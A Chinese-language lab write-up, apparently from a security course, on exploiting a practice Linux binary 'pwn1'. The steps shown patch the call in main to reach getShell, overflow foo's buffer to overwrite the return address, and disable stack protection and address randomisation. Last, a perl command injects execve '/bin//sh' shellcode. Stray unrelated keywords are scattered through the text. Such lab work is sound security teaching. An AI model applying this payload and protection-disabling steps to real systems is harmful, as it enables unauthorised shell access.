運行pwn1可執行文件中的getshell函數,學習如何注入運行任何Shellcode
本次實踐的對象是一個名爲pwn1的linux可執行文件。linux
機器碼shell
機器碼 | 指令功能 |
---|---|
38 | CMP reg8/mem8,reg8 |
39 | CMP reg16/mem16,reg16 |
3A | CMP reg8,reg8/mem8 |
3B | CMP reg16,reg16/mem16 |
3C | CMP al,immed8 |
3D | CMP ax,immed16 |
首先對pwn1
文件進行反彙編windows
查看main函數調用foo的地址值,foo函數的第一條指令的地址值,和須要修改的getShell函數第一條指令的地址值。由下圖可知,main函數調用foo對應機器指令爲e8 d7ffffff
,因爲要將調用的函數更改成getShell,則需修改d7 ff ff ff
爲getShell-80484ba
對應的補碼,經過計算47d-4ba
獲得補碼,main函數調用getShell對應機器指令爲c3 ff ff ff
。
網絡
使用VIM編輯器對pwn1
文件進行編輯。文件顯示爲亂碼,用%!xxd
命令將顯示模式切換爲16進制模式
dom
輸入/e8 d7
查找要修改的內容,修改d7
爲c3
,用命令%!xxd -r
將16進制轉換爲原格式,wq
存盤退出。
編輯器
80484b5
的機器指令d7
變動爲c3
,main函數調用getShell
運行文件。(在實踐過程當中從新備份了pwn1文件爲pwn2,以上步驟爲備份前截圖,備份後將pwn1文件修改成原文件。)函數
目標:觸發getShell
函數學習
pwn1
可執行文件正常運行是調用以下函數foo,這個函數有Buffer overflow漏洞spa
讀入字符串,但系統只預留了__字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址3d
main函數中call調用foo,同時在堆棧上壓上返回地址值:80484ba
gdb pwn3_155330
調試可執行文件,r
運行,info r
查看寄存器eip(即將執行的指令地址)的值
再次運行,將後八位值更改後發現eip值改變。1234 四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。將這四個字符替換爲 getShell 的內存地址,輸給pwn,pwn1就會運行getShell。
0804847d
。接下來要確認下字節序,簡單說是輸入\x08\x04\x84\x7d
,仍是輸入\x7d\x84\x04\x08
。對比以前的eip,該終端採用小端方式,正確應用輸入\x7d\x84\x04\x08
。\x7d\x84\x04\x08
這樣的16進制值,因此先生成包括這樣字符串的一個文件。\x0a
表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。>
到input
文件中。execstack -s pwn1
設置堆棧可執行。
apt-get install execstack
獲取安裝。
execstack -q pwn1
查詢文件的堆棧是否可執行。並依次執行如下命令。
more /proc/sys/kernel/randomize_va_space echo "0" > /proc/sys/kernel/randomize_va_space more /proc/sys/kernel/randomize_va_space
構造要注入的payload。
由於retaddr在緩衝區的位置是固定的,shellcode要不在它前面(緩衝區大),要不在它後面(緩衝區小)。
輸入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
,最後的\x4\x3\x2\x1
將覆蓋到堆棧上的返回地址的位置。把\x4\x3\x2\x1
改成這段shellcode的地址。
(cat input_shellcode;cat) | ./pwn4_155330
ps -ef | grep pwn4_155330
查看進程號。grep pwn4_155330
的進程號是2481
設置斷點
繼續運行
查看esp寄存器值,
計算出地址值爲d300
,修改地址重定向到input_shellcode文件